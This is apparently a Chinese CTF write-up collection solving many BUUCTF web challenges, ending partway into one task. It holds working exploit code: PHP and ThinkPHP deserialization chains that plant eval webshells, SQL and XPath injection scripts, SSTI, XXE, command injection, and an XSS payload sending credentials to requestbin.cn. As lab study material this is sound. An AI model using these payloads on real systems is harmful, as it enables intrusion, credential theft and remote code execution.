buuctf——web刷题第5页
第五页
目录
[EIS 2019]EzPOP
[WMCTF2020]Make PHP Great Again 2.0
[BSidesCF 2020]Hurdles
[安洵杯 2019]iamthinking
[GWCTF 2019]mypassword
[HFCTF2020]BabyUpload
[NewStarCTF 2023 公开赛道]include 0。0
[SWPU2019]Web4
[PASECA2019]honey_shop
[Black Watch 入群题]Web
[GWCTF 2019]你的名字
[GoogleCTF2019 Quals]Bnv
[NPUCTF2020]ezlogin
[RoarCTF 2019]Simple Upload
[羊城杯 2020]Easyphp2
[XNUCA2019Qualifier]EasyPHP
[NewStarCTF 2023 公开赛道]Begin of HTTP
virink_2019_files_share
[NESTCTF 2019]Love Math 2
[NewStarCTF 2023 公开赛道]ez_sql
[DDCTF 2019]homebrew event loop
[羊城杯 2020]Blackcat
[NewStarCTF 2023 公开赛道]Unserialize?
[GYCTF2020]Node Game
[NewStarCTF 2023 公开赛道]泄漏的秘密
[HFCTF 2021 Final]easyflask
[2020 新春红包题]1
[watevrCTF-2019]Supercalc
[EIS 2019]EzPOP
给了源码了
<?php
error_reporting(0);class A {protected $store;protected $key;protected $expire;public function __construct($store, $key = 'flysystem', $expire = null) {$this->key = $key;$this->store = $store;$this->expire = $expire;}public function cleanContents(array $contents) {$cachedProperties = array_flip(['path', 'dirname', 'basename', 'extension', 'filename','size', 'mimetype', 'visibility', 'timestamp', 'type',]);foreach ($contents as $path => $object) {if (is_array($object)) {$contents[$path] = array_intersect_key($object, $cachedProperties);}}return $contents;}public function getForStorage() {$cleaned = $this->cleanContents($this->cache);return json_encode([$cleaned, $this->complete]);}public function save() {$contents = $this->getForStorage();$this->store->set($this->key, $contents, $this->expire);}public function __destruct() {if (!$this->autosave) {$this->save();}}
}class B {protected function getExpireTime($expire): int {return (int) $expire;}public function getCacheKey(string $name): string {return $this->options['prefix'] . $name;}protected function serialize($data): string {if (is_numeric($data)) {return (string) $data;}$serialize = $this->options['serialize'];return $serialize($data);}public function set($name, $value, $expire = null): bool{$this->writeTimes++;if (is_null($expire)) {$expire = $this->options['expire'];}$expire = $this->getExpireTime($expire);$filename = $this->getCacheKey($name);$dir = dirname($filename);if (!is_dir($dir)) {try {mkdir($dir, 0755, true);} catch (\Exception $e) {// 创建失败}}$data = $this->serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {return true;}return false;}}if (isset($_GET['src']))
{highlight_file(__FILE__);
}$dir = "uploads/";if (!is_dir($dir))
{mkdir($dir);
}
unserialize($_GET["data"]);
B类分析
data反序列化,然后解题的点应该是这个
然后先找$data
来源与$value的序列化
——>使用set方法
expire=0
然后是filename
$filename = $this->getCacheKey($name);
expire变量调用了getExpireTime这个函数,格式化为int类型
filename变量调用了getCacheKey这个函数,所以filename这个变量最终的值是和options[‘prefix’]拼接而成,然后根据filename创建目录
A类分析:
array_filp()反转数组中所有的键以及它们关联的值
array_intersect_key()比较两个数组的键名,并返回交集
这里可以调用set方法且3个参数都有
那就是让store=new B()
__destruct方法调用save(),且autosace=false
ok,$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;这里是拼接了一个
<?php esit();?>
绕过:
由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩php//exit了,9个字节,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加3个字符
符
base64就用filter:php://filter/write=convert.base64-decode/resource=
filename的由来:
这里的$name就是从A类的key传来的:
$key=1.php
options['prefix']=php://filter/write=convert.base64-decode/resource=
data的由来
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;用base64绕
这个$value是A中的$content
我们可以构造cache这个变量为数组,然后经过两个函数的处理,我们可以控制complete这个变量为shell的数据,经过json_encode这个函数的处理之后,由于json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过,也就是
A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST[1]);?>'))
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
这个不用就options['data_compress']=0
首先将shellcode进行base64编码使得base64decode的时候不会影响其内容,然后再次进行base64_encode是为了绕过死亡exit,由于解码之后只剩21个字符,所以这里需要自己添加三个字符,使得前面有24个字符可以base64正常解码不影响后面shell的执行
那么到这里data的内容也构造好了,可是我们发现
使用php伪协议只解了一次编码,而我们这里经历了两次base64编码
前面提到了一个serialize函数
就然serialize等于dencode
链子:
A::__destruct->save()->getForStorage()->cleanStorage()
—>B::set()->getExpireTime()和getCacheKey()+serialize()->file_put_contents写入shell
<?php
class A{
protected $store;
protected $key;
protected $expire;public function __construct()
{$this->cache = array();$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST[1]);?>'));$this->key = "1.php";$this->store = new B();$this->autosave = false;$this->expire = 0;
}}
class B{public $options = array();function __construct(){$this->options['serialize'] = 'base64_decode';$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';$this->options['data_compress'] = false;}
}
echo urlencode(serialize(new A()));
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A5%3A%221.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A52%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D
然后get传参data就可以了
http://57d62027-6137-473e-a299-98df1ae1ab6e.node5.buuoj.cn:81/1.php
蚁剑连接
做完之后快上天了
[WMCTF2020]Make PHP Great Again 2.0
一毛一样啊
require-once如果包含过多软链接就会失效
/proc/self/
是/proc/[pid]/
的软链接,指向当前进程的/proc/[pid]
目录。/proc/self/root
是指向当前进程的 根目录(root directory) 的软链接
软链接的基本概念
- 软链接是一个独立的文件 ,它的内容只是一个路径字符串。
- 它指向另一个实际存在的文件或目录。
- 如果原文件被删除,软链接会变成“死链”(失效)
payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
[BSidesCF 2020]Hurdles
源码,抓包,robots.txt都没东西,看看这个 /hurdles
PUT访问
在结尾加个!
那就是/hurdles/!
get=flag
这里是让我们get提交 &=&=& 这个参数,直接bp写肯定不行的,我们就url编码:
%26%3D%26%3D%26
要等于%00加一个换行符(这里的另外一个'在下一行),还是url编码
需要认证,已知username=player
HTTP Basic Authentication
(HTTP 基本认证)是一种简单的、内置于 HTTP 协议中的用户身份验证机制。它的核心思想是:客户端在发送请求时,直接将用户名和密码附加在 HTTP 请求头中,以证明自己的身份
收到 401
响应后,客户端(或用户)会提示输入用户名和密码。一旦用户输入,客户端会执行以下操作:
- 拼接:将用户名和密码用冒号连接,形成
username:password
。 - 编码:将这个字符串进行 Base64 编码。
- 发送:将编码后的字符串放入
Authorization
请求头中,再次发送请求
Authorization: Basic cGxheWVyOnBsYXllcg==
然后这里提示密码是open sesame的md5加密
54ef36ec71201fdf9d1423fd26f97f6b
然后player:54ef36ec71201fdf9d1423fd26f97f6b base64加密:cGxheWVyOjU0ZWYzNmVjNzEyMDFmZGY5ZDE0MjNmZDI2Zjk3ZjZi
改UA头:
指定9000版本:
试试127.0.0.1
需要额外的代理转发 ,随便试试
X-Forwarded-For:13.37.13.37,127.0.0.1
要一个cookie,猜测名字就是Fortune
需要Cookie中包含2011
年的RFC编号
网站
6265
只接受纯文本(MIME)形式的请求 ,改accept:
MIME(纯文本)Accept:text/plain
不是,为什么有俄语,这还能是啥,accept-language吧
语言代码缩写资料
加Referer
发现不行,看了其他师傅的才知道这是origin参数
这个才是Referer
蚌埠住了
[安洵杯 2019]iamthinking
看到题目的thinking,感觉是thinkphp系类的
访问/public/
这里是www.jpg 那根据经验,可能有www.zip,<——还真有
看了看,这个是thinkphp6的漏洞,信息搜集一下脚本:
<?phpnamespace think\model\concern;trait Attribute
{private $data = ["key" => ["key1" => "cat /flag"]];private $withAttr = ["key"=>["key1"=>"system"]];protected $json = ["key"];
}
namespace think;abstract class Model
{use model\concern\Attribute;private $lazySave;protected $withEvent;private $exists;private $force;protected $table;protected $jsonAssoc;function __construct($obj = ''){$this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;$this->jsonAssoc = true;}
}namespace think\model;use think\Model;class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
$c = array($b);
echo urlencode(serialize($c));
payload:
a%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7D%7D
[GWCTF 2019]mypassword
看到有个login.php,那猜测有个register
登陆后
这里有几个php文件
if(is_array($feedback)){echo "<script>alert('反馈不合法');</script>";return false;}$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];foreach ($blacklist as $val) {while(true){if(stripos($feedback,$val) !== false){$feedback = str_ireplace($val,"",$feedback);}else{break;}}}
然后登录界面有个代码:
if (document.cookie && document.cookie != '') { //Cookie是一个由该域名下的所有cookie的值对所组成的字符串,值对间以“分号加空格”分隔var cookies = document.cookie.split('; '); //为了方便查看,可以使用split()方法将cookie中的值对解析出来,得到一个cookie的列表var cookie = {};for (var i = 0; i < cookies.length; i++) {var arr = cookies[i].split('='); // 解析出值var key = arr[0];cookie[key] = arr[1];}if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){document.getElementsByName("username")[0].value = cookie['user']; document.getElementsByName("password")[0].value = cookie['psw']; //返回页面中标签名属性为name的对象}
}
然后就是脚本:
<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
var uname = documcookieent.getElemcookieentsByName("username")[0].value;
var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
var res = uname + " " + passwd;
documcookieent.locacookietion="http://requestbin.cn:80/172on5c1/?a="+res;
</scricookiept>
网站的话是这个:RequestBin — Collect, inspect and debug HTTP requests and webhooks
(我看其他人都是用buu的404 Not Found,那是那个现在好像没了)
反正就是最后
会在右侧的那列显示出来,但是由于这个是外网,buu的到不了
[HFCTF2020]BabyUpload
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{$filename='/var/babyctf/success.txt';if(file_exists($filename)){safe_delete($filename);die($flag);}
}
else{$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){try{if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){throw new RuntimeException('invalid upload');}$file_path = $dir_path."/".$_FILES['up_file']['name'];$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){throw new RuntimeException('invalid file path');}@mkdir($dir_path, 0700, TRUE);if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){$upload_result = "uploaded";}else{throw new RuntimeException('error while saving');}} catch (RuntimeException $e) {$upload_result = $e->getMessage();}
} elseif ($direction === "download") {try{$filename = basename(filter_input(INPUT_POST, 'filename'));$file_path = $dir_path."/".$filename;if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){throw new RuntimeException('invalid file path');}if(!file_exists($file_path)) {throw new RuntimeException('file not exist');}header('Content-Type: application/force-download');header('Content-Length: '.filesize($file_path));header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');if(readfile($file_path)){$download_result = "downloaded";}else{throw new RuntimeException('error while saving');}} catch (RuntimeException $e) {$download_result = $e->getMessage();}exit;
}
?>
flag的条件:
username=admin 然后 filename存在
php的session默认存储文件名都是sess_+PHPSESSID这种格式
sess_0fd2328704907ad5af435d3fee590700
可以看到session的形式:
所以这里为第二种
脚本:
import hashlib
from io import BytesIO
import requestsurl = 'http://302f206a-db2d-42fe-8d6e-52317003d9f9.node5.buuoj.cn:81/index.php'
# 第一步:上传伪造的session文件
files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {'direction':'upload','attr':''
}
res = requests.post(url, data=data ,files=files)# 第二步:获取后面请求时的session_id
session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode('utf-8')).hexdigest()# 第三步:在/var/babyctf/下创建success.txt目录
data1 = {'attr': 'success.txt','direction': 'upload'
}
res1 = requests.post(url=url, data=data1, files=files)# 第四步:通过上面获取的session_id发起请求,获取flag
cookie = {'PHPSESSID':session_id
}
flag_res = requests.post(url,cookies = cookie)
print(flag_res.text)
取自
这里解释一下,具体做法就是因为我们的session需要username=admin
我们通过
这一段的文件上传把我们伪造的session传上去,然后根据
来确定sess_后面的值(就是确定我们要访问到这个伪造session的PHPSESSID)
然后就是要创建一个success.txt文件
最后就是让PHPSESSID=我们计算好的值,让他验证的时后指向我们构造的session文件
[NewStarCTF 2023 公开赛道]include 0。0
文件包含的其他姿势
文件包含,但是base系列和rot系列不让用,那就用其他的:
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名> //将utf8编码转换utf16编码
然后替换成{}就ok
[SWPU2019]Web4
抓包看看:
这里我的username是123;,显示202,那就是存在堆叠注入
由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用
16进制+mysql预处理来绕过
脚本:
#author: c1e4r
import requests
import json
import timedef main():#题目地址url = '''http://9fa24a69-9699-4c20-9e76-2b6b6616747e.node5.buuoj.cn:81/index.php?r=Login/Login'''#注入payloadpayloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"flag = ''for i in range(1,30):#查询payloadpayload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"for j in range(0,128):#将构造好的payload进行16进制转码和json转码datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}data = json.dumps(datas)times = time.time()res = requests.post(url = url, data = data)if time.time() - times >= 3:flag = flag + chr(j)print(flag)breakdef str_to_hex(s):return ''.join([hex(ord(c)).replace('0x', '') for c in s])if __name__ == '__main__':main()
然后注入出来了:glzjin_wants_a_girl_friend.zip
那就是源码咯,审计一下:
这里有一个extract变量覆盖,然后flag是在flag.php中,然后我们去看看哪里用到了这个loadView
而且第二个参数可控
这里userIndex 的 $ListData参数,即$_REQUEST
入口就是这个img_file了,那就用post提交
然后看这个传参:
index.php?r=Login/Index
那就Login是Model的,Index是View那个的,所以就是User/Index
[PASECA2019]honey_shop
买flag
jwt:
那就是1336改成1337,但是我们要知道session的私钥
这里就一个/download
发现是可以目录遍历的
嗯然后想要私钥,试试环境变量
/proc/self/environ
SECRET_KEY=y9H8e6KIN8003UaB4Mga7EgU8ij4Z9dWoIb1xFP3
脚本:
from flask.sessions import SecureCookieSessionInterface
import astclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keydef encrypt_flask_session(secret_key, session_data):"""加密Flask会话数据"""try:app = MockApp(secret_key)session_data = dict(ast.literal_eval(session_data))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_data)except Exception as e:raise Exception(f"[Encoding error] {e}")# 示例用法
session_data = "{'balance': 1339, 'purchases': []}"
secret_key = "y9H8e6KIN8003UaB4Mga7EgU8ij4Z9dWoIb1xFP3" # 替换为Flask应用的实际SECRET_KEYtry:encrypted_cookie = encrypt_flask_session(secret_key, session_data)print(encrypted_cookie)
except Exception as e:print(e)
eyJiYWxhbmNlIjoxMzM5LCJwdXJjaGFzZXMiOltdfQ.aJgNCg.xx0eWP4ksskQHeI4LO4rBBS9K94
[Black Watch 入群题]Web
看看给的两个页面:
这里可以控制id的参数来变化
json格式
脚本:
import time
import re
import requests
import stringurl = "http://17485d53-c01f-410b-96ea-45e5000e6600.node5.buuoj.cn:81/backend/content_detail.php"
flag = ''def payload(i, j):time.sleep(0.2)# 数据库名字#sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)# 表名#sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)^1"%(i,j)# 字段名#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))>%d)^1"%(i,j)# 查询flagsql = "1^(ord(substr((select(group_concat(password/username))from(admin)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data)if "title" in r.text:res = 1else:res = 0return resdef exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break# print (f)flag += chr(f)print(flag)exp()
print('flag=', flag)
username:aef068bb,1da4a5fc
password:e66dc419,6c165f7c
[GWCTF 2019]你的名字
ssti{{}}过滤
学习
这里用这个发现ban了,那么极有可能是ssti
{{}}不能用,但是可以用{%%}
{% print lipsum%}
这个模块可以用
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('tac /flag_1s_Hera
').read()%}
[GoogleCTF2019 Quals]Bnv
本地DTD与XXE
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例
没思路,看了其他师傅的这个是一个本地xxe
这里是json格式,改成xml格式:
payload:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
参考这篇文章
Arseniy Sharoglazov: 3 posts tagged XXE
就是说我们在尝试远程DTD的时候是发现被禁止了
解析
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
- 声明一个参数实体
%local_dtd
,它会从本地文件系统加载 DTD 文件/usr/share/yelp/dtd/docbookx.dtd
。 - 目的是引入一个合法的 DTD 文件,让 XML 解析器“信任”这个文档是“合法”的,从而允许后续实体解析。
- 有些 XML 解析器会阻止没有 DTD 的 XXE 攻击,所以引入一个真实存在的 DTD 可绕过某些防护。
<!ENTITY % ISOamso '...'
- 定义另一个参数实体
%ISOamso
,其内容是一段嵌套的 DTD 代码。 - 注意:
%ISOamso
是一个内部参数实体,其内容被包裹在单引号中。
在 %ISOamso
内部:
<!ENTITY % file SYSTEM "file:///flag">
-
-
%
是%
的 HTML 实体编码(十六进制 25 =%
)。- 所以这行等价于:xml
- <!ENTITY % file SYSTEM "file:///flag">
- 定义一个参数实体
%file
,其值为/flag
文件的内容。
-
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>">
-
-
&
是&
的 HTML 实体编码。- 所以这行等价于:xml
- <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaaaa/%file;'>">
- 这是一个“嵌套实体”:
%eval
会定义另一个实体%error
,它的 SYSTEM URI 中包含了%file
的值(即/flag
的内容)。
-
%eval;
和 %error;
-
-
- 等价于
%eval;
和%error;
。 - 当
%ISOamso;
被调用时,会执行%eval;
,从而触发%error
的定义。 %error
的 SYSTEM URI 变成了:- file:///aaaaa/<内容来自 /flag>
- 如果
/flag
的内容是hello
,那么最终 URI 是: - file:///aaaaa/hello
- 由于这个路径不存在,某些 XML 解析器会抛出错误,并在错误信息中包含这个非法路径,从而泄露
/flag
文件的内容。
- 等价于
-
[NPUCTF2020]ezlogin
XPath注入
抓包完是这样的,xml格式啊
发现这题是 XPath注入
之前没搞过,
首先先判断根节点
'or count(/)=2 or ''='
'or count(/)=1 or ''='
脚本:
import requests
import re
import timesession = requests.session()
url = "http://e396ba63-2043-4878-9ead-d5382673d9ee.node5.buuoj.cn:81/"
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
head = {'Content-Type': 'application/xml',"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"}
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"def get_token(): #获取token的函数resp = session.get(url=url) #如果在这里用headers会得到超时的界面token = find.findall(resp.text)[0]#print(token)return tokenfor x in range(1,100):for char in chars:time.sleep(0.2)token = get_token()playload = payload_password.format(x, char, token) #根据上面的playload来改#print(playload)resp = session.post(url=url,headers=head, data=playload)#print(resp.text)if "非法操作" in resp.text:result += charprint(result)breakif "用户名或密码错误" in resp.text:breakprint(result)
脚本取自
结构就是username=adm1n
密码的md5是 cf7414b5bdb2e65ee43083f4ddbc4d9f,解密得到gtfly123
登陆后:
有个file参数,然后源码有个base64加密的:
用filter:
?file=Php://filter/Read=convert.Base64-encode/resource=/flag
这里大写绕过:
得:
ZmxhZ3tmNzZmZTJkOC01NTI2LTQxYzktYmE4Ny05MGYyNTk3MGRmZDJ9Cg==
base64解密得flag
[RoarCTF 2019]Simple Upload
strip_tags绕过
源码:
这里有个strip_tags
去标记,那可以直接1.<>php
然后去看官方的文档,推出upload的url
index.php/home/index/upload
脚本:
import requestsurl = "http://a3a8a3e9-d36f-4f2d-8f35-c2ef91e11ce7.node5.buuoj.cn:81//index.php/home/index/upload"files={'file':('1.<>php',"<?php eval($_GET['cmd'])?>")}
r=requests.post(url=url,files=files)
print(r.text)
然后这里发现一访问就出flag了
[羊城杯 2020]Easyphp2
exec写马
嗯,看了以为是考改包,但是发现有个file参数
看看robots.txt
有个
尝试filter读取,发现有过滤,大小写尝试不行,试试url二次编码
?file=php://filter/read=%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2565%256E%2563%256F%2564%2565/resource=check.php
ok,知道改什么了
然后我们读一下GWHT.php
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>count is here</title><style>html,body {overflow: none;max-height: 100vh;}</style>
</head><body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;"><center><img src="question.jpg" height="200" width="200" /> </center><?phpini_set('max_execution_time', 5);if ($_COOKIE['pass'] !== getenv('PASS')) {setcookie('pass', 'PASS');die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?><h1>A Counter is here, but it has someting wrong</h1><form><input type="hidden" value="GWHT.php" name="file"><textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br /><input type="submit"></form><?phpif (isset($_GET["count"])) {$count = $_GET["count"];if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){die('hacker!');}echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";}?></body></html>
这里有个exec函数,估计是写马
'&echo+"<?=@eval(\$_POST[1])?>">1.php&'
'%26echo+"<?=@eval(\$_POST[1])?>">1.php%26'
然后蚁剑连接
这里有个flag.txt,但是读不了
[XNUCA2019Qualifier]EasyPHP
.hatccess脏字符
其他解法
<?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}include_once("fl3g.php");if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nJust one chance");
?>
这题用.htaccess
?content=php_value auto_prepend_fi\
le .htaccess
#<?php system('cat /fl*');?>\&filename=.htaccess
[NewStarCTF 2023 公开赛道]Begin of HTTP
比较简单:
virink_2019_files_share
....//绕过
抓包:
这里有个/uploads/favicon.ico
然后点击priview发现有个f参数:
这里发现其实有过滤,etc/只剩下e了,用....//绕过和etctc
?f=//....//....//....//....//....//....//etctc//passwd
然后去读flag
?f=//....//....//....//....//....//....//f1ag_Is_h3re的时候一直没有用,后面发现其实这是个文件夹:
payload:
?f=//....//....//....//....//....//....//f1ag_Is_h3rere//flag
这里是去了re,当然也可以用下面这个
?f=//....//....//....//....//....//....//f1ag_Is_h3re..//flag
[NESTCTF 2019]Love Math 2
源码:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
